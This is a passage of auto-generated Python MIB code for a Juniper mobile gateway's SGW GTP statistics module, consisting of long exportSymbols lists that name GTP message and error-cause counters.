jnxMbgSgwIfGtpV2ICsManIEMissRx=jnxMbgSgwIfGtpV2ICsManIEMissRx, jnxMbgSgwPPCreateSessReqTx=jnxMbgSgwPPCreateSessReqTx, jnxMbgSgwIfDelConnSetReqTx=jnxMbgSgwIfDelConnSetReqTx, jnxMbgSgwPPGtpV2ICsPTNotSuppTx=jnxMbgSgwPPGtpV2ICsPTNotSuppTx, jnxMbgSgwPPDlDataAckTx=jnxMbgSgwPPDlDataAckTx, jnxMbgSgwIfDelConnSetRspTx=jnxMbgSgwIfDelConnSetRspTx, jnxMbgSgwPPModBrReqRx=jnxMbgSgwPPModBrReqRx, jnxMbgSgwRxPacketsDropped=jnxMbgSgwRxPacketsDropped, jnxMbgSgwIfGtpV2ICsColNWReqTx=jnxMbgSgwIfGtpV2ICsColNWReqTx, jnxMbgSgwPPGtpV2ICsUnPgUESusRx=jnxMbgSgwPPGtpV2ICsUnPgUESusRx, jnxMbgSgwDelConnSetReqTx=jnxMbgSgwDelConnSetReqTx, jnxMbgSgwGtpV1EchoReqTx=jnxMbgSgwGtpV1EchoReqTx, jnxMbgSgwPPCrtBrRspRx=jnxMbgSgwPPCrtBrRspRx, jnxMbgSgwIfStopPagingIndRx=jnxMbgSgwIfStopPagingIndRx, jnxMbgSgwIfGtpV2ICsLclDetRx=jnxMbgSgwIfGtpV2ICsLclDetRx, jnxMbgSgwIfModBrRspRx=jnxMbgSgwIfModBrRspRx, jnxMbgSgwS11PiggybackMsgTx=jnxMbgSgwS11PiggybackMsgTx, jnxMbgSgwGtpV2ICsSynErTADRx=jnxMbgSgwGtpV2ICsSynErTADRx, jnxMbgSgwPPGtpV2ICsISRDeactTx=jnxMbgSgwPPGtpV2ICsISRDeactTx, jnxMbgSgwIfGtpV2ICsUnPgUESusTx=jnxMbgSgwIfGtpV2ICsUnPgUESusTx, jnxMbgSgwGtpV2ICsUnexpRptIERx=jnxMbgSgwGtpV2ICsUnexpRptIERx, jnxMbgSgwGtpV2ICsUnabPageUETx=jnxMbgSgwGtpV2ICsUnabPageUETx, jnxMbgSgwGtpV2ICsRATChgRx=jnxMbgSgwGtpV2ICsRATChgRx, jnxMbgSgwGtpV2ICsColNWReqTx=jnxMbgSgwGtpV2ICsColNWReqTx, jnxMbgSgwPPGtpV2ICsDtForNtSupRx=jnxMbgSgwPPGtpV2ICsDtForNtSupRx, jnxMbgSgwPPDelConnSetRspRx=jnxMbgSgwPPDelConnSetRspRx, jnxMbgSgwPPResumeNotifRx=jnxMbgSgwPPResumeNotifRx, jnxMbgSgwIfCrtBrRspRx=jnxMbgSgwIfCrtBrRspRx, jnxMbgSgwIfGtpV2ICsInvLenRx=jnxMbgSgwIfGtpV2ICsInvLenRx, jnxMbgSgwPPGtpV2ICsPTNotSuppRx=jnxMbgSgwPPGtpV2ICsPTNotSuppRx, jnxMbgSgwPPGtpV2ICsRMValRcvTx=jnxMbgSgwPPGtpV2ICsRMValRcvTx, jnxMbgSgwPPGtpV2ICsMisUnknAPNRx=jnxMbgSgwPPGtpV2ICsMisUnknAPNRx, jnxMbgSgwGtpV2ICsDeniedINRatRx=jnxMbgSgwGtpV2ICsDeniedINRatRx, jnxMbgSgwGtpV2ICsManIEIncorrRx=jnxMbgSgwGtpV2ICsManIEIncorrRx, jnxMbgSgwGtpV2ICsReqRejRx=jnxMbgSgwGtpV2ICsReqRejRx, jnxMbgSgwPPPiggybackMsgTx=jnxMbgSgwPPPiggybackMsgTx, jnxMbgSgwPPGtpV2ICsInvLenRx=jnxMbgSgwPPGtpV2ICsInvLenRx, jnxMbgSgwIfGtpV2ICsEIFRNCEnRx=jnxMbgSgwIfGtpV2ICsEIFRNCEnRx, jnxMbgSgwPPBrResFlrIndTx=jnxMbgSgwPPBrResFlrIndTx, jnxMbgSgwIfModBrCmdRx=jnxMbgSgwIfModBrCmdRx, jnxMbgSgwIfDelIndTunRespRx=jnxMbgSgwIfDelIndTunRespRx, jnxMbgSgwGtpV1EchoReqRx=jnxMbgSgwGtpV1EchoReqRx, jnxMbgSgwIfDelBrReqTx=jnxMbgSgwIfDelBrReqTx, jnxMbgSgwIfGtpV2ICsUserAUTHFlTx=jnxMbgSgwIfGtpV2ICsUserAUTHFlTx, jnxMbgSgwIfGtpV2ICsCmpDetRx=jnxMbgSgwIfGtpV2ICsCmpDetRx, jnxMbgSgwIfSuspAckTx=jnxMbgSgwIfSuspAckTx, jnxMbgSgwGtpV2ICsCtxNotFndTx=jnxMbgSgwGtpV2ICsCtxNotFndTx, jnxMbgSgwPPGtpV1ErrIndTx=jnxMbgSgwPPGtpV1ErrIndTx, jnxMbgSgwGtpV2ICsUERefusesTx=jnxMbgSgwGtpV2ICsUERefusesTx, jnxMbgSgwPPCrIndTunRespTx=jnxMbgSgwPPCrIndTunRespTx, jnxMbgSgwPPIPVerErrRx=jnxMbgSgwPPIPVerErrRx, jnxMbgSgwIfUpdBrReqTx=jnxMbgSgwIfUpdBrReqTx, jnxMbgSgwIfGtpV2ICsCtxNotFndRx=jnxMbgSgwIfGtpV2ICsCtxNotFndRx, jnxMbgSgwIfGtpV2ICsTFTSysErrTx=jnxMbgSgwIfGtpV2ICsTFTSysErrTx, jnxMbgSgwGtpV2ICsLclDetTx=jnxMbgSgwGtpV2ICsLclDetTx, jnxMbgSgwPPGtpV2ICsPkFltManErTx=jnxMbgSgwPPGtpV2ICsPkFltManErTx, jnxMbgSgwPPGtpV2ICsUENotRespTx=jnxMbgSgwPPGtpV2ICsUENotRespTx, jnxMbgSgwGtpV1ErrIndRx=jnxMbgSgwGtpV1ErrIndRx, jnxMbgSgwIfModBrFlrIndTx=jnxMbgSgwIfModBrFlrIndTx, jnxMbgSgwPPGtpV2ICsPTMSISigMMTx=jnxMbgSgwPPGtpV2ICsPTMSISigMMTx, jnxMbgSgwIfGtpV2ICsSemErTADTx=jnxMbgSgwIfGtpV2ICsSemErTADTx, jnxMbgSgwPPUnSupportedMsgRx=jnxMbgSgwPPUnSupportedMsgRx, jnxMbgSgwIfDelSessRspTx=jnxMbgSgwIfDelSessRspTx, jnxMbgSgwIfGTPUnknVerRx=jnxMbgSgwIfGTPUnknVerRx, jnxMbgSgwPPGTPPortErrRx=jnxMbgSgwPPGTPPortErrRx, jnxMbgSgwIfGtpV2ICsUERefusesTx=jnxMbgSgwIfGtpV2ICsUERefusesTx, jnxMbgSgwDelBrFlrIndRx=jnxMbgSgwDelBrFlrIndRx, jnxMbgSgwS4PiggybackMsgTx=jnxMbgSgwS4PiggybackMsgTx, jnxMbgSgwIfGtpV1EndMarkerRx=jnxMbgSgwIfGtpV1EndMarkerRx, jnxMbgSgwGtpV2ICsGREKeyNtFdRx=jnxMbgSgwGtpV2ICsGREKeyNtFdRx, jnxMbgSgwGtpV2ICsTFTSMANTErTx=jnxMbgSgwGtpV2ICsTFTSMANTErTx, jnxMbgSgwIfBrResCmdTx=jnxMbgSgwIfBrResCmdTx, jnxMbgSgwPPResumeNotifTx=jnxMbgSgwPPResumeNotifTx, jnxMbgSgwIfGtpV2ICsPTNotSuppRx=jnxMbgSgwIfGtpV2ICsPTNotSuppRx, jnxMbgSgwIfGtpV2ICsSrvNotSuppTx=jnxMbgSgwIfGtpV2ICsSrvNotSuppTx, jnxMbgSgwPPGtpV2ICsInReFRePrTx=jnxMbgSgwPPGtpV2ICsInReFRePrTx, jnxMbgSgwPPDelBrFlrIndTx=jnxMbgSgwPPDelBrFlrIndTx, jnxMbgSgwIfGtpV2ICsTFTSysErrRx=jnxMbgSgwIfGtpV2ICsTFTSysErrRx, jnxMbgSgwIfGTPPortErrRx=jnxMbgSgwIfGTPPortErrRx, jnxMbgSgwPPGtpV2ICsSynErTADRx=jnxMbgSgwPPGtpV2ICsSynErTADRx, jnxMbgSgwPPGtpV2ICsPTMSISigMMRx=jnxMbgSgwPPGtpV2ICsPTMSISigMMRx, jnxMbgSgwGtpV2ICsInvMsgFmtTx=jnxMbgSgwGtpV2ICsInvMsgFmtTx, jnxMbgSgwPPGtpV2ICsInvPrTx=jnxMbgSgwPPGtpV2ICsInvPrTx, jnxMbgSgwIfV2NumBytesTx=jnxMbgSgwIfV2NumBytesTx, jnxMbgSgwIfGtpV2ICsUnPgUESusRx=jnxMbgSgwIfGtpV2ICsUnPgUESusRx, jnxMbgSgwPPGtpV1EchoRespRx=jnxMbgSgwPPGtpV1EchoRespRx, jnxMbgSgwGtpV2ICsPageTx=jnxMbgSgwGtpV2ICsPageTx, jnxMbgSgwGtpV2ICsNewPTSIAdbrRx=jnxMbgSgwGtpV2ICsNewPTSIAdbrRx, jnxMbgSgwIfGtpV2ICsAPNAcsDenRx=jnxMbgSgwIfGtpV2ICsAPNAcsDenRx, jnxMbgSgwIfModBrFlrIndRx=jnxMbgSgwIfModBrFlrIndRx, jnxMbgSgwS5PiggybackMsgRx=jnxMbgSgwS5PiggybackMsgRx, jnxMbgSgwIfGtpV2ICsInvMsgFmtRx=jnxMbgSgwIfGtpV2ICsInvMsgFmtRx, jnxMbgSgwGtpV2ICsPTMSISigMMRx=jnxMbgSgwGtpV2ICsPTMSISigMMRx, jnxMbgSgwIfGtpV2ICsRATChgTx=jnxMbgSgwIfGtpV2ICsRATChgTx, jnxMbgSgwPPGtpV2ICsUnknownRx=jnxMbgSgwPPGtpV2ICsUnknownRx, jnxMbgSgwPPDelSessReqRx=jnxMbgSgwPPDelSessReqRx, jnxMbgSgwPPT3RespTmrExpRx=jnxMbgSgwPPT3RespTmrExpRx, jnxMbgSgwIfGtpV2ICsLclDetTx=jnxMbgSgwIfGtpV2ICsLclDetTx, jnxMbgSgwGtpV2ICsServNotSuppRx=jnxMbgSgwGtpV2ICsServNotSuppRx, jnxMbgSgwPPDelConnSetRspTx=jnxMbgSgwPPDelConnSetRspTx, jnxMbgSgwPacketSendFail=jnxMbgSgwPacketSendFail, jnxMbgSgwIfModBrCmdTx=jnxMbgSgwIfModBrCmdTx, jnxMbgSgwGtpV2ICsNoMemTx=jnxMbgSgwGtpV2ICsNoMemTx, jnxMbgSgwIfGtpV2ICsIMSINotKnTx=jnxMbgSgwIfGtpV2ICsIMSINotKnTx, jnxMbgSgwPPGtpV2ICsVerNotSuppRx=jnxMbgSgwPPGtpV2ICsVerNotSuppRx, jnxMbgSgwGtpV2ICsRMValRcvTx=jnxMbgSgwGtpV2ICsRMValRcvTx, jnxMbgSgwIfGtpV2ICsDtForNtSupRx=jnxMbgSgwIfGtpV2ICsDtForNtSupRx, jnxMbgSgwIfUpdBrReqRx=jnxMbgSgwIfUpdBrReqRx, jnxMbgSgwModBrFlrIndTx=jnxMbgSgwModBrFlrIndTx, jnxMbgSgwDlDataNotifTx=jnxMbgSgwDlDataNotifTx, jnxMbgSgwGtpV2ICsPkFltSynErrRx=jnxMbgSgwGtpV2ICsPkFltSynErrRx, jnxMbgSgwPPGtpV2ICsManIEMissRx=jnxMbgSgwPPGtpV2ICsManIEMissRx, jnxMbgSgwCrIndTunRespTx=jnxMbgSgwCrIndTunRespTx, jnxMbgSgwPPCrtBrReqTx=jnxMbgSgwPPCrtBrReqTx, jnxMbgSgwPPGtpV2ICsServDeniedRx=jnxMbgSgwPPGtpV2ICsServDeniedRx) mibBuilder.exportSymbols("JUNIPER-MOBILE-GATEWAY-SGW-GTP-MIB", jnxMbgSgwBrResFlrIndRx=jnxMbgSgwBrResFlrIndRx, jnxMbgSgwPPModBrReqTx=jnxMbgSgwPPModBrReqTx, jnxMbgSgwIfDlDataAckRx=jnxMbgSgwIfDlDataAckRx, jnxMbgSgwIfGtpV2ICsUENotRespTx=jnxMbgSgwIfGtpV2ICsUENotRespTx, jnxMbgSgwGtpV2ICsRelocFailRx=jnxMbgSgwGtpV2ICsRelocFailRx, jnxMbgSgwPPGtpV2ICsNOTFTUECTXTx=jnxMbgSgwPPGtpV2ICsNOTFTUECTXTx, jnxMbgSgwDelConnSetRspRx=jnxMbgSgwDelConnSetRspRx, jnxMbgSgwGtpV1EndMarkerTx=jnxMbgSgwGtpV1EndMarkerTx, jnxMbgSgwPPSuspNotifRx=jnxMbgSgwPPSuspNotifRx, jnxMbgSgwGtpV2ICsUnexpRptIETx=jnxMbgSgwGtpV2ICsUnexpRptIETx, jnxMbgSgwIfGtpV2ICsReqRejRx=jnxMbgSgwIfGtpV2ICsReqRejRx, jnxMbgSgwModBrRspTx=jnxMbgSgwModBrRspTx, jnxMbgSgwGtpV2ICsAcceptPartRx=jnxMbgSgwGtpV2ICsAcceptPartRx, jnxMbgSgwIfSuspNotifRx=jnxMbgSgwIfSuspNotifRx, jnxMbgSgwPPV2NumMsgTx=jnxMbgSgwPPV2NumMsgTx, jnxMbgSgwPPGtpV2ICsNoMemTx=jnxMbgSgwPPGtpV2ICsNoMemTx, jnxMbgSgwIfGtpV2ICsReqAcceptRx=jnxMbgSgwIfGtpV2ICsReqAcceptRx, jnxMbgSgwPPPcktLenErrRx=jnxMbgSgwPPPcktLenErrRx, jnxMbgSgwBrResCmdTx=jnxMbgSgwBrResCmdTx, jnxMbgSgwIfGtpV2ICsCondIEMsTx=jnxMbgSgwIfGtpV2ICsCondIEMsTx, jnxMbgSgwGtpV2ICsInvLenRx=jnxMbgSgwGtpV2ICsInvLenRx, jnxMbgSgwPPGtpV1T3RespTmrExpRx=jnxMbgSgwPPGtpV1T3RespTmrExpRx, jnxMbgSgwPPGtpV2ICsRMValRcvRx=jnxMbgSgwPPGtpV2ICsRMValRcvRx, jnxMbgSgwS5PiggybackMsgTx=jnxMbgSgwS5PiggybackMsgTx, jnxMbgSgwIfDelIndTunReqTx=jnxMbgSgwIfDelIndTunReqTx, jnxMbgSgwIfDelBrCmdTx=jnxMbgSgwIfDelBrCmdTx, jnxMbgSgwIfGtpV2ICsMisUnknAPNRx=jnxMbgSgwIfGtpV2ICsMisUnknAPNRx, jnxMbgSgwPPGtpV2ICsNoMemRx=jnxMbgSgwPPGtpV2ICsNoMemRx, jnxMbgSgwPPUpdConnSetReqRx=jnxMbgSgwPPUpdConnSetReqRx, jnxMbgSgwDlDataNotiFlrIndRx=jnxMbgSgwDlDataNotiFlrIndRx, jnxMbgSgwPPDlDataNotiFlrIndRx=jnxMbgSgwPPDlDataNotiFlrIndRx, jnxMbgSgwIfV2VerNotSupTx=jnxMbgSgwIfV2VerNotSupTx, jnxMbgSgwPPGtpV2ICsIMSINotKnRx=jnxMbgSgwPPGtpV2ICsIMSINotKnRx, jnxMbgSgwPPRelAcsBrReqRx=jnxMbgSgwPPRelAcsBrReqRx, jnxMbgSgwPPGtpV2ICsInReFRePrRx=jnxMbgSgwPPGtpV2ICsInReFRePrRx, jnxMbgSgwGtpV2ICsPageRx=jnxMbgSgwGtpV2ICsPageRx, jnxMbgSgwIfResumeNotifTx=jnxMbgSgwIfResumeNotifTx, jnxMbgSgwPPGtpV2ICsUnabPageUERx=jnxMbgSgwPPGtpV2ICsUnabPageUERx, jnxMbgSgwIfRxPacketsDropped=jnxMbgSgwIfRxPacketsDropped, jnxMbgSgwGtpV1EchoRespTx=jnxMbgSgwGtpV1EchoRespTx, jnxMbgSgwPPGtpV2ICsUserAUTHFlRx=jnxMbgSgwPPGtpV2ICsUserAUTHFlRx, jnxMbgSgwIfCreateSessReqTx=jnxMbgSgwIfCreateSessReqTx, jnxMbgSgwPPDelIndTunReqTx=jnxMbgSgwPPDelIndTunReqTx, jnxMbgSgwIfDelIndTunReqRx=jnxMbgSgwIfDelIndTunReqRx, jnxMbgSgwPPGtpV2ICsAcceptPartRx=jnxMbgSgwPPGtpV2ICsAcceptPartRx, jnxMbgSgwPPV2EchoRespTx=jnxMbgSgwPPV2EchoRespTx, jnxMbgSgwPPGtpV2ICsColNWReqTx=jnxMbgSgwPPGtpV2ICsColNWReqTx, jnxMbgSgwGtpV2ICsCondIEMsRx=jnxMbgSgwGtpV2ICsCondIEMsRx, jnxMbgSgwGTPPortErrRx=jnxMbgSgwGTPPortErrRx, jnxMbgSgwIfGtpV2ICsInReFRePrRx=jnxMbgSgwIfGtpV2ICsInReFRePrRx, jnxMbgSgwPPGtpV2ICsPkFltSynErTx=jnxMbgSgwPPGtpV2ICsPkFltSynErTx, jnxMbgSgwIfGtpV2ICsUENotRespRx=jnxMbgSgwIfGtpV2ICsUENotRespRx, jnxMbgSgwDelBrRspRx=jnxMbgSgwDelBrRspRx, jnxMbgSgwIfType=jnxMbgSgwIfType, jnxMbgSgwIfGtpV2ICsServDeniedTx=jnxMbgSgwIfGtpV2ICsServDeniedTx, jnxMbgSgwSuspAckRx=jnxMbgSgwSuspAckRx, jnxMbgSgwPPGtpV2ICsManIEIncorTx=jnxMbgSgwPPGtpV2ICsManIEIncorTx, jnxMbgSgwIfGtpV2ICsISRDeactRx=jnxMbgSgwIfGtpV2ICsISRDeactRx, jnxMbgSgwGtpIfStatsEntry=jnxMbgSgwGtpIfStatsEntry, jnxMbgSgwIfGtpV2ICsServDeniedRx=jnxMbgSgwIfGtpV2ICsServDeniedRx, jnxMbgSgwGtpV2ICsNoResTx=jnxMbgSgwGtpV2ICsNoResTx, jnxMbgSgwPPGtpV2ICsReqAcceptRx=jnxMbgSgwPPGtpV2ICsReqAcceptRx, jnxMbgSgwDelBrCmdTx=jnxMbgSgwDelBrCmdTx, jnxMbgSgwGtpV2ICsNoMemRx=jnxMbgSgwGtpV2ICsNoMemRx, jnxMbgSgwGtpV2ICsUnPgUESusTx=jnxMbgSgwGtpV2ICsUnPgUESusTx, jnxMbgSgwIfDelConnSetRspRx=jnxMbgSgwIfDelConnSetRspRx, jnxMbgSgwIfGtpV2ICsNOTFTUECTXTx=jnxMbgSgwIfGtpV2ICsNOTFTUECTXTx, jnxMbgSgwPPDelIndTunReqRx=jnxMbgSgwPPDelIndTunReqRx, jnxMbgSgwIfGtpV2ICsPTNotSuppTx=jnxMbgSgwIfGtpV2ICsPTNotSuppTx, jnxMbgSgwCrtBrRspRx=jnxMbgSgwCrtBrRspRx, jnxMbgSgwGtpV2ICsInvLenTx=jnxMbgSgwGtpV2ICsInvLenTx, jnxMbgSgwGtpV2ICsNewPTNPrefRx=jnxMbgSgwGtpV2ICsNewPTNPrefRx, jnxMbgSgwGtpV2ICsIMSINotKnRx=jnxMbgSgwGtpV2ICsIMSINotKnRx, jnxMbgSgwIfCreateSessRspRx=jnxMbgSgwIfCreateSessRspRx, jnxMbgSgwIfDelSessRspRx=jnxMbgSgwIfDelSessRspRx, jnxMbgSgwGtpV2ICsEIFRNCEnTx=jnxMbgSgwGtpV2ICsEIFRNCEnTx, jnxMbgSgwIfBrResFlrIndRx=jnxMbgSgwIfBrResFlrIndRx, jnxMbgSgwIfGtpV2ICsColNWReqRx=jnxMbgSgwIfGtpV2ICsColNWReqRx, jnxMbgSgwIfProtocolErrRx=jnxMbgSgwIfProtocolErrRx, jnxMbgSgwGtpV2ICsInvPrTx=jnxMbgSgwGtpV2ICsInvPrTx, jnxMbgSgwGtpNotifications=jnxMbgSgwGtpNotifications, jnxMbgSgwGtpV2ICsPkFltManErrTx=jnxMbgSgwGtpV2ICsPkFltManErrTx, jnxMbgSgwPPGtpV2ICsNewPTNPrefRx=jnxMbgSgwPPGtpV2ICsNewPTNPrefRx, jnxMbgSgwGtpV2ICsRPrNtRspTx=jnxMbgSgwGtpV2ICsRPrNtRspTx, jnxMbgSgwRelAcsBrRespTx=jnxMbgSgwRelAcsBrRespTx, jnxMbgSgwGtpV2ICsAPNResTIncTx=jnxMbgSgwGtpV2ICsAPNResTIncTx, jnxMbgSgwPPGtpV2ICsCondIEMsTx=jnxMbgSgwPPGtpV2ICsCondIEMsTx, jnxMbgSgwUpdConnSetReqTx=jnxMbgSgwUpdConnSetReqTx, jnxMbgSgwPPGtpV2ICsAPNResTIncRx=jnxMbgSgwPPGtpV2ICsAPNResTIncRx, jnxMbgSgwGtpV2ICsServNotSuppTx=jnxMbgSgwGtpV2ICsServNotSuppTx, jnxMbgSgwUpdBrRspRx=jnxMbgSgwUpdBrRspRx, jnxMbgSgwDelIndTunReqTx=jnxMbgSgwDelIndTunReqTx, jnxMbgSgwIfGtpV2ICsNewPTNPrefRx=jnxMbgSgwIfGtpV2ICsNewPTNPrefRx, jnxMbgSgwDelConnSetReqRx=jnxMbgSgwDelConnSetReqRx, jnxMbgSgwGtpV2ICsInvPrRx=jnxMbgSgwGtpV2ICsInvPrRx, jnxMbgSgwIfGtpV1EndMarkerTx=jnxMbgSgwIfGtpV1EndMarkerTx, jnxMbgSgwBrResFlrIndTx=jnxMbgSgwBrResFlrIndTx, jnxMbgSgwIPVerErrRx=jnxMbgSgwIPVerErrRx, jnxMbgSgwIfGtpV1T3RespTmrExpRx=jnxMbgSgwIfGtpV1T3RespTmrExpRx, jnxMbgSgwIfModBrRspTx=jnxMbgSgwIfModBrRspTx, jnxMbgSgwPPGtpV2ICsProtoNtSupTx=jnxMbgSgwPPGtpV2ICsProtoNtSupTx, jnxMbgSgwIfGtpV2ICsInvMsgFmtTx=jnxMbgSgwIfGtpV2ICsInvMsgFmtTx, jnxMbgSgwPPSuspAckTx=jnxMbgSgwPPSuspAckTx, jnxMbgSgwGtpV2ICsNOTFTUECTXRx=jnxMbgSgwGtpV2ICsNOTFTUECTXRx, jnxMbgSgwPPGtpV2ICsOptIEIncorRx=jnxMbgSgwPPGtpV2ICsOptIEIncorRx, jnxMbgSgwUpdConnSetRspRx=jnxMbgSgwUpdConnSetRspRx, jnxMbgSgwGtpV2ICsPTNotSuppRx=jnxMbgSgwGtpV2ICsPTNotSuppRx, jnxMbgSgwPPGtpV2ICsAPNAcsDenRx=jnxMbgSgwPPGtpV2ICsAPNAcsDenRx, jnxMbgSgwPPGtpV2ICsUnexpRptIERx=jnxMbgSgwPPGtpV2ICsUnexpRptIERx, jnxMbgSgwCreateSessRspRx=jnxMbgSgwCreateSessRspRx, jnxMbgSgwIfGtpV1UnSupMsgRx=jnxMbgSgwIfGtpV1UnSupMsgRx, jnxMbgSgwUpdBrReqTx=jnxMbgSgwUpdBrReqTx, jnxMbgSgwPPGtpV2ICsServNotSupRx=jnxMbgSgwPPGtpV2ICsServNotSupRx, jnxMbgSgwIfGtpV2ICsUERefusesRx=jnxMbgSgwIfGtpV2ICsUERefusesRx, jnxMbgSgwPPGtpV2ICsRPrNtRspTx=jnxMbgSgwPPGtpV2ICsRPrNtRspTx, jnxMbgSgwIfGtpV1EchoReqTx=jnxMbgSgwIfGtpV1EchoReqTx, jnxMbgSgwPPGtpV2ICsCmpDetRx=jnxMbgSgwPPGtpV2ICsCmpDetRx, jnxMbgSgwCrIndTunRespRx=jnxMbgSgwCrIndTunRespRx, jnxMbgSgwIfGtpV2ICsOptIEIncorRx=jnxMbgSgwIfGtpV2ICsOptIEIncorRx, jnxMbgSgwPPGtpV2ICsCmpDetTx=jnxMbgSgwPPGtpV2ICsCmpDetTx, jnxMbgSgwGtpAlarmStatCounter=jnxMbgSgwGtpAlarmStatCounter, jnxMbgSgwPPV2EchoReqRx=jnxMbgSgwPPV2EchoReqRx, jnxMbgSgwDlDataAckRx=jnxMbgSgwDlDataAckRx, jnxMbgSgwIfIPVerErrRx=jnxMbgSgwIfIPVerErrRx, jnxMbgSgwPPStopPagingIndRx=jnxMbgSgwPPStopPagingIndRx, jnxMbgSgwGtpV2ICsInvTotLenTx=jnxMbgSgwGtpV2ICsInvTotLenTx, jnxMbgSgwIfModBrReqTx=jnxMbgSgwIfModBrReqTx, jnxMbgSgwGtpV1ProtocolErrRx=jnxMbgSgwGtpV1ProtocolErrRx, jnxMbgSgwGtpV2ICsUENotRespRx=jnxMbgSgwGtpV2ICsUENotRespRx, jnxMbgSgwIfGtpV2ICsManIEIncorRx=jnxMbgSgwIfGtpV2ICsManIEIncorRx, jnxMbgSgwPPGtpV2ICsUnexpRptIETx=jnxMbgSgwPPGtpV2ICsUnexpRptIETx, jnxMbgSgwIfGtpV2ICsPkFltSynErRx=jnxMbgSgwIfGtpV2ICsPkFltSynErRx, jnxMbgSgwPPDlDataNotifRx=jnxMbgSgwPPDlDataNotifRx, jnxMbgSgwGtpV2ICsCondIEMsTx=jnxMbgSgwGtpV2ICsCondIEMsTx, jnxMbgSgwDelIndTunRespTx=jnxMbgSgwDelIndTunRespTx, jnxMbgSgwPPGtpV2ICsDenINRatRx=jnxMbgSgwPPGtpV2ICsDenINRatRx, jnxMbgSgwGtpPeerGwDnNotif=jnxMbgSgwGtpPeerGwDnNotif, jnxMbgSgwGtpV2ICsPkFltManErrRx=jnxMbgSgwGtpV2ICsPkFltManErrRx, jnxMbgSgwV2NumMsgRx=jnxMbgSgwV2NumMsgRx, jnxMbgSgwPPModBrFlrIndTx=jnxMbgSgwPPModBrFlrIndTx, jnxMbgSgwIfUpdConnSetReqRx=jnxMbgSgwIfUpdConnSetReqRx, jnxMbgSgwGtpObjects=jnxMbgSgwGtpObjects, jnxMbgSgwGtpV2ICsSynErTADTx=jnxMbgSgwGtpV2ICsSynErTADTx, jnxMbgSgwIfPacketAllocFail=jnxMbgSgwIfPacketAllocFail, jnxMbgSgwIfCreateSessReqRx=jnxMbgSgwIfCreateSessReqRx, jnxMbgSgwPPCrIndTunReqRx=jnxMbgSgwPPCrIndTunReqRx, jnxMbgSgwCrtBrRspTx=jnxMbgSgwCrtBrRspTx, jnxMbgSgwPPV2NumBytesTx=jnxMbgSgwPPV2NumBytesTx, jnxMbgSgwGtpIfStatsTable=jnxMbgSgwGtpIfStatsTable, jnxMbgSgwGtpV2ICsColNWReqRx=jnxMbgSgwGtpV2ICsColNWReqRx, jnxMbgSgwPPGtpV2ICsUserAUTHFlTx=jnxMbgSgwPPGtpV2ICsUserAUTHFlTx, jnxMbgSgwIfGtpV2ICsEIFRNCEnTx=jnxMbgSgwIfGtpV2ICsEIFRNCEnTx, jnxMbgSgwPPV2EchoReqTx=jnxMbgSgwPPV2EchoReqTx, jnxMbgSgwDlDataNotifRx=jnxMbgSgwDlDataNotifRx, jnxMbgSgwPPGtpV2ICsRPrNtRspRx=jnxMbgSgwPPGtpV2ICsRPrNtRspRx, jnxMbgSgwS11PiggybackMsgRx=jnxMbgSgwS11PiggybackMsgRx, jnxMbgSgwPPGtpV2ICsSysFailRx=jnxMbgSgwPPGtpV2ICsSysFailRx, jnxMbgSgwGtpV2ICsVerNotSuppRx=jnxMbgSgwGtpV2ICsVerNotSuppRx, jnxMbgSgwDlDataAckTx=jnxMbgSgwDlDataAckTx, jnxMbgSgwPPGtpV2ICsCtxNotFndRx=jnxMbgSgwPPGtpV2ICsCtxNotFndRx, jnxMbgSgwIfGtpV2ICsAlDynAdOccTx=jnxMbgSgwIfGtpV2ICsAlDynAdOccTx, jnxMbgSgwPPGtpV1ProtocolErrRx=jnxMbgSgwPPGtpV1ProtocolErrRx, jnxMbgSgwModBrCmdTx=jnxMbgSgwModBrCmdTx, jnxMbgSgwPPProtocolErrRx=jnxMbgSgwPPProtocolErrRx, jnxMbgSgwPPRelAcsBrReqTx=jnxMbgSgwPPRelAcsBrReqTx, jnxMbgSgwGtpV1UnSupMsgRx=jnxMbgSgwGtpV1UnSupMsgRx, jnxMbgSgwResumeAckTx=jnxMbgSgwResumeAckTx, jnxMbgSgwIfGtpV2ICsSysFailTx=jnxMbgSgwIfGtpV2ICsSysFailTx, jnxMbgSgwIfV2EchoReqTx=jnxMbgSgwIfV2EchoReqTx, jnxMbgSgwIfGtpV2ICsRMValRcvRx=jnxMbgSgwIfGtpV2ICsRMValRcvRx, jnxMbgSgwPPUpdBrRspTx=jnxMbgSgwPPUpdBrRspTx, jnxMbgSgwIfGtpV2ICsSynErTADRx=jnxMbgSgwIfGtpV2ICsSynErTADRx, jnxMbgSgwPPSuspAckRx=jnxMbgSgwPPSuspAckRx, jnxMbgSgwProtocolErrRx=jnxMbgSgwProtocolErrRx, jnxMbgSgwCrtBrReqTx=jnxMbgSgwCrtBrReqTx, jnxMbgSgwIfCrtBrReqRx=jnxMbgSgwIfCrtBrReqRx, jnxMbgSgwIfGtpV2ICsProtoNtSupTx=jnxMbgSgwIfGtpV2ICsProtoNtSupTx, jnxMbgSgwIfGtpV2ICsUserAUTHFlRx=jnxMbgSgwIfGtpV2ICsUserAUTHFlRx, jnxMbgSgwGtpV2ICsSemErTADTx=jnxMbgSgwGtpV2ICsSemErTADTx, jnxMbgSgwGtpV2ICsSysFailTx=jnxMbgSgwGtpV2ICsSysFailTx, jnxMbgSgwGtpV2ICsDtForNtSupTx=jnxMbgSgwGtpV2ICsDtForNtSupTx, jnxMbgSgwPPDelBrFlrIndRx=jnxMbgSgwPPDelBrFlrIndRx, jnxMbgSgwPPGtpV2ICsUnPgUESusTx=jnxMbgSgwPPGtpV2ICsUnPgUESusTx, jnxMbgSgwGtpV2ICsManIEMissTx=jnxMbgSgwGtpV2ICsManIEMissTx, jnxMbgSgwCreateSessReqTx=jnxMbgSgwCreateSessReqTx, jnxMbgSgwPPUpdBrReqTx=jnxMbgSgwPPUpdBrReqTx, jnxMbgSgwIfPiggybackMsgTx=jnxMbgSgwIfPiggybackMsgTx, jnxMbgSgwIfResumeAckRx=jnxMbgSgwIfResumeAckRx, jnxMbgSgwPPGtpV2ICsPageRx=jnxMbgSgwPPGtpV2ICsPageRx, jnxMbgSgwIfGtpV2ICsNOTFTUECTXRx=jnxMbgSgwIfGtpV2ICsNOTFTUECTXRx, jnxMbgSgwIfGtpV2ICsInvTotLenRx=jnxMbgSgwIfGtpV2ICsInvTotLenRx, jnxMbgSgwGTPUnknVerRx=jnxMbgSgwGTPUnknVerRx, jnxMbgSgwV2EchoReqTx=jnxMbgSgwV2EchoReqTx, jnxMbgSgwPPGtpV2ICsManIEMissTx=jnxMbgSgwPPGtpV2ICsManIEMissTx, 